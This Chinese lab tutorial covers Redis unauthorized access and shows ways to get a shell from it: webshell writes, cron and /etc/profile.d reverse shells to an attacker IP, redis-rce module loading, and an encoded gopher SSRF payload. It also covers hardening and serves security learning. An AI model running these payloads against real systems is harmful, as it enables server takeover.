从0到1浅析Redis服务器反弹Shell那些事
文章目录
- 前言
- Redis服务
- 1.1 特点与应用
- 1.2 安装与使用
- 1.3 语法和配置
- 1.4 未授权访问
- 反弹Shell
- 2.1 Web服务写入Webshell
- 2.2 Linux定时任务反弹shell
- 2.3 /etc/profile.d->反弹shell
- 2.4 写入ssh公钥登录服务器
- 2.5 利用Redis主从复制RCE
- 2.6 SSRF漏洞组合拳->RCE
- 总结
前言
2020 年曾在 渗透测试-Weblogic SSRF漏洞复现 一文中通过 SSRF 探测到局域网内的 Redis 服务器,并借助其未授权访问(登录)漏洞反弹 Shell,然而回首发现当时并未说清楚、弄明白借助 Redis 反弹 Shell 的真实原理(说白了当时太水了……复现漏洞走马观花,实打实的脚本小子)。
与此同时,在各大安全社区的文章中不难发现,借助 Redis 服务器反弹 Shell 基本上属于攻防实战中获取服务器权限的常规操作了。本文将从 0 到 1 学习下 Redis 服务器反弹 Shell 的各路姿势,并从中进一步理解 Linux 服务器定时任务、公钥登录等特性在网络攻防中的应用。
Redis服务
Redis(Remote DIctionary Server,远程字典服务) 是一个 key-value 存储系统,是跨平台的非关系型(Nosql)数据库。它是一个开源的使用 ANSIC 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。 Redis 基础教程请参见:菜鸟教程—Redis教程。
1.1 特点与应用
Redis的特点
Redis 有几个主要特点,使它优越于其他键值数据存储系统:
- Redis 将其数据库完全保存在内存中,仅使用磁盘进行持久化,这使得 Redis 具有很高的读写性能,适用于对响应速度要求较高的应用场景,比如缓存系统;
- Redis 支持多种数据结构,不仅仅支持简单的 key-value 类型的数据,还提供了 list、set 和 hash 等更复杂的数据结构的存储;
- Redis 支持数据的备份,可以通过主从模式(master-slave)进行数据备份,增加了数据的可靠性和安全性。
Redis的应用场景
缓存服务器几乎是现在所有中大型网站都在用的必杀技,合理利用缓存不仅能够提升网站访问速度,还能大大降低数据库的压力。Redis 提供了键过期功能,也提供了灵活的键淘汰策略,同时与 MySQL 数据库不同的是,Redis 的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过 10 万次读写操作。因此 Redis 被广泛应用于缓存。
来看看网上一张关于企业通过阿里云进行业务上云的架构方案图:
可以看到,Redis 服务器在这里就被用于分担阿里云 RDS 数据库服务器的访问压力。
此时 Redis 缓存服务器的工作逻辑:接收到用户发送的数据读取请求后,先查下自身缓存,缓存有值命中,就直接返回;缓存没命中,就去 RDS 数据库查询,然后把数据库的值更新到缓存,再返回给用户。
基于上述工作逻辑,我们需要进一步了解到 Redis 服务关于 缓存穿透 与 缓存雪奔 的概念。
缓存穿透:指查询一个一定不存在的数据,由于缓存是不命中时需要从数据库查询,查不到数据则不写入缓存,这将导致这个不存在的数据每次请求都要到数据库去查询,进而给数据库带来压力。
通俗点说,读请求访问时,缓存和数据库都没有某个值,这样就会导致每次对这个值的查询请求都会穿透到数据库,这就是缓存穿透。
缓存穿透一般都是这几种情况产生的:
- 业务不合理的设计,比如大多数用户都没开守护,但是你的每个请求都去缓存,查询某个userid查询有没有守护;
- 业务/运维/开发失误的操作,比如缓存和数据库的数据都被误删除了;
- 黑客非法请求攻击,比如黑客故意捏造大量非法请求,以读取不存在的业务数据。
缓存雪奔: 指缓存中数据大批量到过期时间,而查询数据量巨大,请求都直接访问数据库,引起数据库压力过大甚至宕机。
- 缓存雪奔一般是由于大量数据同时过期造成的,对于这个原因,可通过均匀设置过期时间解决,即让过期时间相对离散一点,如采用一个较大固定值+一个较小的随机值,5小时 +0 到 1800 秒这样子。
- Redis 故障宕机也可能引起缓存雪奔,这就需要构造 Redis 高可用集群啦。
我们在项目中使用 Redis,肯定不会是单点部署 Redis 服务的。因为,单点部署一旦宕机,就不可用了。为了实现高可用,通常的做法是,将数据库复制多个副本以部署在不同的服务器上,其中一台挂了也可以继续提供服务。Redis 实现高可用有三种部署模式:主从模式,哨兵模式,集群模式。
在主从模式中,Redis 部署了多台机器,有主节点,负责读写操作,有从节点,只负责读操作。而从节点的数据来自主节点,实现原理就是主从复制机制。主从复制包括全量复制,增量复制两种。一般当 slave 第一次启动连接 master,或者认为是第一次连接,就采用全量复制。而当 slave 与 master 全量同步之后,master 上的数据如果再次发生更新,就会触发增量复制。
更多 Redis 服务的知识介绍请参见:【超级详细】一文搞懂redis的所有知识点、如何最简单、通俗地理解redis数据库?。
1.2 安装与使用
此处我采用的 Ubuntu 虚拟机来搭建 Redis 数据库服务。
在 Ubuntu 系统安装 Redis 可以使用以下命令:
# 安装redis
sudo apt update
sudo apt install redis-server
# 启动 Redis
redis-server
# 查看redis是否启动,可通过客户端管理工具连接
redis-cli
解释一下,Redis 分为服务端和客户端的,Redis 在安装完成之后会有 redis-cli 客户端管理工具:
redis-cli -h host # 免密登录
redis-cli -h host -p port -a password # 使用 Redis 密码登录 Redis 服务
与 Redis 服务连接成功后,执行 PING 命令,如果服务器运作正常的话,会返回一个 PONG,如下所示(证明我们已经成功安装 Redis 数据库服务):
其他操作系统安装 Redis 数据库服务的方法请参见:Redis 菜鸟教程。
1.3 语法和配置
Redis 键命令的基本语法为:
- 使用 SET 和 GET 命令,可以完成基本的赋值和取值操作;
- 使用
*
可以获取所有配置项(GET 、 KEYS); - Redis 不区分命令的大小写,set 和 SET 是同一个意思;
- 如果键的值中有空格,需要使用双引号括起来;
常见的一些 Redis 操作和命令如下:
SET key "Hello World" # 设置键 key 的值为字符串 Hello World
GET key # 获取键 key 的值,如果 key 不存在,返回 nil 。如果key 储存的值不是字符串类型,返回一个错误
DEL key # 删除键 key
KEYS * # 获取 redis 中所有的 key,Keys 命令用于查找所有符合给定模式 pattern 的 key
SAVE # 用于创建当前数据库的备份,在 redis 安装目录中创建dump.rdb文件
CONFIG GET * # 用于获取 redis 服务所有配置项
CONFIG GET requirepass # 用于获取 redis 服务的配置参数,通过 CONFIG 命令查看或设置配置项
CONFIG REWRITE requirepass "123456" # 对 redis.conf 配置文件进行改写,重启后才会被修改
CONFIG SET requirepass "123456" # 动态地调整 Redis 服务器的配置(configuration)而无须重启
Flushall # 用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key)
SELECT index # Redis Select 命令用于切换到指定的数据库,数据库索引号 index 用数字值指定,以 0 作为起始索引值。
Redis 服务提供了多个配置项(位于redis.conf
配置文件中):
部分核心安全配置项及其含义如下:
配置项 | 含义 |
---|---|
port 6379 | 指定 Redis 监听端口,默认端口为 6379 |
bind 127.0.0.1 | 绑定的主机地址,格式为 bind 后面接 IP 地址,可以同时绑定在多个 IP 地址上,IP地址之间用空格分离,如 bind 192.168.1.100 10.0.0.1 ;如果没有指定 bind 参数,则绑定在本机的所有 IP 地址上 |
save <seconds> <changes> | 指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合 |
dbfilename dump.rdb | 指定本地数据库文件名,默认值为 dump.rdb |
dir ./ | 指定本地数据库存放目录,指明 Redis 的工作目录为设定的目录,Redis 产生的备份文件将放在这个目录下 |
requirepass foobared | 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH <password> 命令提供密码,默认关闭 |
protected-mode | redis3.2 版本后新增 protected-mode 配置,默认是 yes ,用于设置外部网络连接 redis 服务。关闭 protected-mode 模式,此时外部网络可以直接访问;开启 protected-mode 保护模式,需配置 bind ip 或者设置访问密码 |
1.4 未授权访问
从上面的介绍中不难看出,由于 Redis 默认不开启连接密码保护,这直接导致了暴露在公网中的 Redis 服务存在未授权访问的安全风险。
但与此同时, redis 3.2.0 版本后 redis.conf
配置文件中还有两个比较重要的参数: bind
以及 protected-mode
。经过验证,唯有以下情况可以满足未授权访问 Redis:
- 未开启登录认证(即没有配置登录密码,默认即可满足),设置 bind 参数将 redis 绑定到了
0.0.0.0
(意味着当前主机所有 IP 都能访问,比如公网 IP、局域网 IP); - 未开启登录认证(即没有配置登录密码,默认即可满足),未绑定 redis 到任何地址 (即将 bind 参数注释掉),同时关闭保护模式(设置
protected-mode
的参数为 no)。
以下是我上述 Ubuntu 虚拟机安装 Redis 后的相关默认配置:
可以看见,由于此时 Redis 数据库服务默认绑定了 127.0.0.1 的 IP 地址,这将导致只允许 Ubuntu 虚拟机本地访问,也就不存在公网未授权访问的安全风险,意味着默认安全(虽然未配置登录密码,但是仅允许本机器访问,除非本机器已被攻陷,否则可以视为安全)。
我们通过局域网的 Kali 虚拟机来验证下是否能未授权登录:
可以看到,Kali 尝试未授权连接局域网 Redis 失败,因为 Redis 此时仅限其自身服务器本地连接。
为了进行安全研究,我们手动将 Redis 的 bind 配置项修改为 0.0.0.0
并重启下 Redis 服务(sudo /etc/init.d/redis-server restart
):
此时再局域网 Kali 攻击机就能成功未授权连接、访问 Ubuntu 虚拟机上的 Redis 服务了:
至此,Redis 服务的基础知识以及其未授权访问的风险介绍完毕,可见运维或开发人员在使用 Redis 数据库服务的时候一定要注意安全配置,务必设置登录密码,同时不要将 bind
配置参数设置为 0.0.0.0
或者完全注释掉,避免服务暴露到公网。
0.0.0.0
表示本机中所有的 IPV4 地址,监听 0.0.0.0 的端口,就是监听本机中所有 IP 的端口,同理绑定 0.0.0.0 的 IP,则代表绑定本机所有 IP。
反弹Shell
以下我们讨论的是,万一开发人员或运维人员不小心将 Redis 服务暴露在公网(有时候也有实际业务需求)且未开启密码登录保护的情况下,如何通过连接 Redis 服务后进一步控制服务器。
2.1 Web服务写入Webshell
在 Redis 存在未授权访问的情况下,如果探测到该 Redis 服务器主机上也开启了 Web 服务的情况下(一般业务服务器不会跟数据库缓存服务器同在一台主机),通过信息泄露知道 Web 目录的路径,同时具有文件读写权限,就可以通过 Redis 在指定的 Web 目录下写入 Webshell 文件来获得服务器控制权。
下面我通过在 Ubuntu 虚拟机上搭建 Apache HTTP 服务来进行实验:
# 安装 php 环境和 apache 服务
sudo apt install apache2
sudo apt install libapache2-mod-php
Apache HTTP 服务默认 80 端口,网站 Web 目录位于 /var/www/html/
:
可创建 php 测试文件:
那么 Kali 攻击机可以通过连接 Redis 服务后,写入如下指令,上传 Webshell 到 Apache 服务器 Web 工作目录:
config set dir /var/www/html/
config set dbfilename shell.php
set xxx "<?php eval($_POST['cmd']);?>"
save
结果发现写入失败:
返回 Ubuntu 查询 Redis 日志(sudo tail /var/log/redis/redis-server.log
),发现是缺乏写权限:
需要 root 用户才能往 Web 目录写文件,但是高版本的 Redis 默认是以 redis 用户的身份启动和运行的:
可见在真实网络攻防环境中,想要利用 Redis 写入 Webshell 的预置条件是很高的,比如此处至少需要开发人员将 Redis 服务以 root 权限运行。
为了继续演示,那就以 root 身份运行 Redis 吧(先执行 /etc/init.d/redis-server stop
暂停原有服务):
然而问题又来了……此时居然 Kali 无法远程访问 Redis 了(我怀疑是 root 身份运行 Redis 时,Redis 默认安全策略导致本地redis.conf
配置文件 bind 0.0.0.0
未生效导致的):
此时我有点不淡定了……但是实验还得继续,最后发现有两种方法解决该问题:
- 执行命令
sudo redis-server /etc/redis/redis.conf
,使得配置文件对当前 root 身份运行的 Redis 进程生效即可: - 或者根据报错提示,执行
sudo redis-server --protected-mode no
重新启动 Redis 同时使得保护模式被关闭也可以;
注意由于我更换了局域网,所以 Ubuntu IP 已变更为 192.168.2.228
:
返回 Ubuntu,可以看到已经成功写入 Webshell 了:
最后 Windows 物理机上哥斯拉连接:
成功获得 shell:
综上所述,可以看到 Redis 服务在被攻击者通过未授权访问漏洞或者弱口令爆破控制以后,攻击者想要获得 Webshell 的门槛和条件是很苛刻的:
- Redis 服务未开启 IP 地址绑定(如只允许本机 IP 访问)的安全保护;
- Redis 服务所在服务器需要同时运行着 Web 业务服务(大厂商的日子一般不至于这么拮据……);
- 服务器的 Web 服务的工作路径信息泄露;
- Redis 服务以高权限(如 root )身份运行,具备读写 Web 服务工作目录的能力。
但是上述实验过程还是给我们进一步利用 Redis 服务攻击目标服务器提供了潜在的可行攻击路径。同时也解释了 渗透测试-Weblogic SSRF漏洞复现 一文中,通过 SSRF 漏洞 + Redis 未授权漏洞获得 Webshell 的原理。
2.2 Linux定时任务反弹shell
Linux 定时任务类似于生活中使用的闹钟,可以自动完成操作命令(比如定时备份系统数据信息)。
crontab
命令常见于 Unix 和类 Unix 的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于 “crontab” 文件中,以供之后读取和执行。通常,crontab 储存的指令被守护进程激活,crond 常常在后台运行,每一分钟检查是否有预定的作业需要执行,如果有要执行的工作便会自动执行该工作。注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。
cron 默认配置了调度任务,分别为:hourly、daily、weekly、mouthly,默认配置文件为 /etc/anacrontab
。举个例子,系统控制每小时定时任务目录:/etc/cron.hourly
,hourly
内的可执行文件(比如.sh
文件)每小时都会从头到尾的执行一遍,将需要执行的脚本放到相应的目录下即可。相应的,系统还有每天、每周、每月定时任务的默认目录,如下:
crontab 命令
/sbin/service crond start //启动服务
/sbin/service crond stop //关闭服务
/sbin/service crond restart //重启服务
/sbin/service crond reload //重新载入配置
crontab -l //列出某个用户cron服务的详细内容
crontab -r //删除某个用户的cron服务
crontab -e //编辑某个用户的cron服务
cron 相关语法
每一条定时任务都由以下几个部分组成:
| 分 | 小时 | 日 | 月 | 星期 | 命令 |0-59 0-23 1-31 1-12 0-6 command (取值范围,0表示周日一般一行对应一个任务)
如果 command 放脚本文件,这样就能定时执行脚本内容。下面举两个个例子:
1)每分钟写入 “123” 到固定文件中。
[root@izwz9 ~]# crontab -e //编辑定时任务列表
*/1 * * * * echo 123 >> /root/a.txt //写入定时任务后保存并退出
[root@izwz9 ~]# /sbin/service crond restart //重启,一分钟后出现/root/a.txt
2)每天凌晨自动重启 pm2 :
[root@izwz9 ~]# crontab -e //编辑定时任务列表
0 0 */1 * * /bin/sh /root/restartTask.sh //写入定时任务后保存并退出
[root@izwz9 ~]# /sbin/service crond restart //重启
/root/restartTask.sh
文件中存放脚本内容,内容如下:
#!/bin/bash
source ~/.bashrc
/www/node-v8.10.0-linux-x64/bin/pm2 restart looovoTask
实践体验
在 Ubuntu 虚拟机中新增定时任务如下:
增加的反弹 Shell 的定时任务:
*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.126/6666 0>&1
静候 1 分钟,可以看到定时任务被执行了, Kali Linux 成功获得 Ubuntu Shell:
衍生攻击手段
基于以上 Linux 系统的定时任务特性,我们在获得 Redis 服务访问权限后,可以在目标主机的定时任务文件中写入一个反弹 shell 的脚本,从而获得目标设备的控制权。
但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们反弹 shell 的命令是要写在 /var/spool/cron/[crontabs]/<username>
内的,所以必须要知道远程主机当前的用户名,否则就不能生效。
比如,当前用户名为 root,我们就要将 Webshell 内容写入到:
Linux系统 | 路径 |
---|---|
Centos 系列 | /var/spool/cron/root |
Debian/Ubuntu 系列 | /var/spool/cron/crontabs/root |
完整的 Redis 客户端命令,对于 Centos 如下:
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.11/6666 0>&1\n\n"
save
对于 Ubuntu:
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.11/6666 0>&1\n\n"
save
以 Ubuntu 为例进行演示:
成功写入定时任务,但是反弹 Shell 是失败的。
参考 《纸上得来终觉浅——Redis 个人总结》 可以得知通过定时任务反弹 Shell 的方式在 Ubuntu 上行不通:
- 因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件/var/spool/cron/<username>
权限 644 也可以执行; - 因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错。
本人没安装 Centos 虚拟机,参见大佬们的演示截图吧:
同样的,由于定时任务的路径权限所限,Redis 服务进程必须以高权限运行,否则此攻击方式也将无效。
2.3 /etc/profile.d->反弹shell
Ubuntu 通过定时任务无法轻易反弹 Shell 的话,我们还可以借助 Linux 的环境变量配置来完成此任务。
简单理解下环境变量:在 Windows系统下,很多软件的安装都需要设置环境变量,比如安装 JAVA JDK。如果不安装环境变量,在非软件安装的目录下运行 javac 命令,将会报告“找不到文件”类似的错误。那么,什么是环境变量呢?简要的说,就是指定一个目录,运行软件的时候,相关的程序将会按照该目录寻找相关文件。
在 Linux 系统下,如果你下载并安装了应用程序,很有可能在键入它的名称时出现 “command not found” 的提示内容。如果每次都到安装目标文件夹内,找到可执行文件来进行操作就太繁琐了。这涉及到环境变量 PATH 的 设置 问题,而 PATH 的设置也是在 Linux 下定制环境变量的一个组成部分。
Linux配置系统环境的完整方式:操作系统:Linux 环境变量配置的 6 种方法。
一般情况下,我们配置环境变量时,都是通过 /etc/profile
文件进行配置。在环境变量配置不多时,我们的确可以这么做。但是环境变量要是很多呢?岂不是每次都要编辑这个文件,新增对应的环境变量。如果这样的话,我们要删除之前新增的环境变量,也只能在 /etc/profile
里慢慢找,逐个删除,这就很麻烦。
那有没有更好的办法呢?有的,那就是使用/etc/profile.d/
,在这个目录下新增环境配置文件即可。/etc/profile.d/
这个目录是用来干嘛的呢?简单来说,它和 /etc/profile
的功能可以说是一样的,系统启动或者用户重新登录 shell 后,这个目录下的 .*sh
文件会自动执行,解析后配置到环境变量中。
看下/etc/profile
里是怎么写的:
那么使用 /etc/profile.d/
的好处是什么呢?那就是解耦环境变量。试想一下,我们在 /etc/profile.d/
配置了某个环境变量配置文件,什么时候我们不在需要这个环境变量了,我们只需要删掉这个.sh
文件即可,不用再改/etc/profile
,是不是就方便多了。
以 JAVA 环境配置为例,可以新增/etc/profile.d/java.sh
,文件内容如下:
JAVA_HOME=/usr/local/jdk1.8.0_301
JRE_HOME=/usr/local/jdk1.8.0_301/jre
CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
export PATH
此处我试验一下,以 root 权限创建一个反弹 Shell 的/etc/profile.d/test.sh
文件:
然后通过 Windows 物理机 SSH 登录 Ubuntu 虚拟机:
此时 Kali 攻击机即可获得 Ubuntu 虚拟机 Shell:
那么,我们同样来试下通过 Redis 写入恶意环境变量配置环境并反弹 Shell 是否可行。
config set dir /etc/profile.d/
config set dbfilename evil.sh
set xxx "\r\n\r\n/bin/bash -i >& /dev/tcp/192.168.2.11/6666 0>&1 &\r\n\r\n"
save
成功创建文件 evil.sh,但是却是乱码,无法反弹 Shell……
Ubuntu 这个巨坑……建议大家不要再用 Ubuntu 来实践 Redis 的攻击利用了。
2.4 写入ssh公钥登录服务器
在使用 SSH 客户端远程连接 Linux 服务器时,为了考虑安全方面的因素,可以使用公私钥对的方式来替代密码进行登录。
如果目标服务器上 Redis 以 root 身份运行,可以可以成功将自己的公钥写入目标服务器的 /root/.ssh
文件夹的 authotrized_keys
文件中,然后攻击者便可以直接通过 SSH 私钥远程登录目标服务器。
此处只提供利用思路,不再动手复现了,环境太坑,过多浪费时间了。实际攻防实践中遇到此场景的话(公网高版本 Redis 以 root 身份运行的利用条件从上面可看出很苛刻),再查阅具体资料解决,此处只记录利用思路。
2.5 利用Redis主从复制RCE
Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 Redis 中实现一个新的 Redis 命令,通过写 C 语言编译并加载恶意的 .so 文件,达到代码执行的目的。
编写恶意 so 文件的代码:RedisModules-ExecuteCommand,下载后用 make 编译即可生成:
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so
在两个 Redis 实例设置主从模式的时候,Redis的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载 so 文件,我们就可以执行拓展的新命令并反弹获得 Shell 了。同时在 Github 已有公开的 Getshell Python脚本 redis-rce 可以拿来直接食用。
此处只记录利用思路,同样不再动手复现,有需求再查阅资料。需要注意的是,主从复制的利用版本是 4.x-5.x
,从 6.0 开始,就无法利用成功,写入 exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。
2.6 SSRF漏洞组合拳->RCE
2020 年曾在 渗透测试-Weblogic SSRF漏洞复现 一文中通过 SSRF 探测到局域网内的 Redis 服务器,并借助其未授权访问(登录)漏洞反弹 Shell。其中反弹 Shell 部分是通过 SSRF 漏洞发送 HTTP 请求给 Redis 服务并传输借助 Linux 定时任务反弹 Shell 的 Redis Payload:
但是此处使用 HTTP 协议传输 Redis Payload 的方法并不是在所有场景都适用。而在 Redis 服务的攻击利用中,常用的还有另外一种协议:gother://
协议。
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。协议格式如下:
gopher://<host>:<port>//<gopher-path>_后接TCP数据流
这里介绍一个 Gophar 协议利用工具 Gopharus,该工具将帮助我们生成 Gopher 有效负载,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。 而且它将帮助我们在受害服务器上获得 shell,使用方法非常简单,按照提示就可以生成 payload 了
python gopherus.py --exploit redis
结合 SSRF 对应的 Payload 格式:
http://10.1.8.159/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%66%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%36%38%25%36%66%25%37%33%25%37%34%25%35%66%25%33%38%25%33%30%25%32%66%25%37%37%25%37%37%25%37%37%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35
更多 Redis + SSRF 反弹 Shell 的资料可以参见:
- 当SSRF遇上Redis;
- SSRF攻击内网Redis;
- 浅析Redis中SSRF的利用;
- SSRF + Redis 利用方式学习笔记 ;
总结
本文学习了 Redis 服务的作用,并本地搭建了 Redis 服务,同时介绍了其相关基础使用方法和核心安全配置。然后总结分析了 Redis 未授权访问漏洞或弱口令导致 Redis 服务被攻击者操控后,如何进一步通过反弹 Shell 接管服务器。
整体而言,Redis 服务想要获得 RCE 的条件是比较苛刻的,需要具备配置公网访问、未开启 IP 地址绑定、以 Root 身份运行等前提,这些都需要开发或运维人员错误配置的情况下才有可能成功利用。
这期间也学习了通过 Linux 定时计划任务、/etc/profile.d
环境变量配置、公私钥登录等特性反弹 Shell 的技巧,攻防实践中请注意,如果目标服务器存在 任意文件上传 + 路径穿越漏洞导致任意文件覆写这类的漏洞的话,我们也同样可以采用 Linux 这几个特性来反弹 Shell 并控制服务器。
本文参考文章:
- 如何最简单、通俗地理解redis数据库?;
- 【超级详细】一文搞懂redis的所有知识点;
- 纸上得来终觉浅:Redis 个人总结;
- Redis未授权访问漏洞复现与利用;
- SSRF + Redis 利用方式学习笔记 ;
相关文章:
从0到1浅析Redis服务器反弹Shell那些事
文章目录 前言Redis服务1.1 特点与应用1.2 安装与使用1.3 语法和配置1.4 未授权访问 反弹Shell2.1 Web服务写入Webshell2.2 Linux定时任务反弹shell2.3 /etc/profile.d->反弹shell2.4 写入ssh公钥登录服务器2.5 利用Redis主从复制RCE2.6 SSRF漏洞组合拳->RCE 总结 前言 …...
JavaScript中alert、confrim、prompt的使用及区别【精选】
Hi i,m JinXiang ⭐ 前言 ⭐ 本篇文章主要介绍JavaScript中alert、confrim、prompt的区别及使用以及部分理论知识 🍉欢迎点赞 👍 收藏 ⭐留言评论 📝私信必回哟😁 🍉博主收将持续更新学习记录获,友友们有任…...
Docker Compose容器编排实战
介绍 Docker Compose 是 Docker 官方提供的一种工具,用于定义和运行多个 Docker 容器的应用。它使用简单的 YAML 文件(通常称为 docker-compose.yml)来配置应用的服务,并使用单个命令即可创建、启动和停止整个应用。 官方文档&am…...
科技创新实验室数据管理优选:高效企业网盘推荐
科技创新实验室建设是国家加强科技创新基本能力建设的重要措施,企业网盘等高效办公工具的应用是保证科技创新实验室正常运行、提高科研项目团队合作效率的重要手段。 本文将介绍企业网盘Zoho WorkDrive提供的解决方案: 行业痛点1:分散的数据…...
记录一次云服务器使用docker搭建kafka的过程
创建网络 一定要将zookeeper注册中心与kafka建在一个network中,不然在springboot 集成 kakfa的demo测试代码中进行消息发送时会超时,报错: E x c e p t i o n t h r o w n w h e n s e n d i n g a m e s s a g e w i t h k e y ‘ n u l l…...
微信小程序与vue区别
微信小程序和Vue是两个完全不同的东西,虽然它们都是前端技术,但是有以下几点区别: 技术栈不同: 微信小程序使用WXML、WXSS和JavaScript进行开发,而Vue使用HTML、CSS和JavaScript进行开发。微信小程序是一种基于微信平台…...
GIT提交、回滚等基本操作记录
1、add文件时warning: LF will be replaced by CRLF in .idea/workspace.xml. 原因:windows中的换行符为 CRLF, 而在Linux下的换行符为LF,所以在执行add . 时会出现以下提示 解决:git config core.autocrlf false 2、GIT命令&…...
Apollo自动驾驶:从概念到现实的里程碑
前言 「作者主页」:雪碧有白泡泡 「个人网站」:雪碧的个人网站 ChatGPT体验地址 文章目录 前言1. Apollo Client2. Apollo Server3. Apollo Federation4. Apollo Tracing5. Apollo Codegen6. Apollo Link7. 其他工具和框架结论 🚀…...
再看promise
第一次学的时候没学牢固 后面意识到promise的重要性之后 陆陆续续的看、查,终于在今天 感觉好像明白点了 把自己敲的理解分享给大家 <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name&…...
Redis 分布式锁总结
在一个分布式系统中,由于涉及到多个实例同时对同一个资源加锁的问题,像传统的synchronized、ReentrantLock等单进程情况加锁的api就不再适用,需要使用分布式锁来保证多服务实例之间加锁的安全性。常见的分布式锁的实现方式有zookeeper和redis等。而由于redis分布式锁相对于比…...
Vue懒加载深度解析:提升性能、优化用户体验的完整指南
文章目录 🌳引言🌳Vue懒加载基础🌲什么是懒加载?🌲组件级懒加载🌲图片懒加载 🌳懒加载的原理与优势🌲组件懒加载原理🌲图片懒加载原理🌲懒加载的优势 &#x…...
“图解C语言:一维数组的声明、创建与初始化艺术“
各位少年: 标题:《C语言一维数组的探索之旅:从声明到初始化,及如何避免常见误区》 引言 在编程世界中,数组无疑是最基础且重要的数据结构之一,尤其在C语言中,它以其简洁明了的特性为各类数据处…...
Unity坦克大战开发全流程——开始场景——场景装饰
开始场景——场景装饰 step1:先创建两个场景 step2:将地板拖拽到场景上 step3:将方块拖拽到场景上,并设置其参数 step4:将坦克拖拽到场景上 step5:创建点光源 step6:旋转炮塔 将该脚本挂载到炮…...
【链表OJ—链表的回文结构】
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、pandas是什么?二、使用步骤 1.引入库2.读入数据总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:…...
关键字:try-catch关键字
在 Java 中,try-catch关键字用于异常处理。它们允许编写代码来捕获和处理异常,以确保程序能够在出现问题时合理地处理它们而不会崩溃。 以下是try-catch关键字的基本语法: 在try块中编写可能会抛出异常的代码。如果在try块中的任何代码抛出…...
双指针算法
目录 双指针算法 最长连续不重复子序列 数组元素的目标和 双指针算法 常见的两种样式: 双指针指向两个不同的区间 双指针指向一个区间的左右两端,这种方式更加常见 双指针算法思想 for(int i0;i<n;i)for(int j0;j<n;j)O(n^2) 时间复杂度 …...
Cucumber-JVM的示例和运行解析
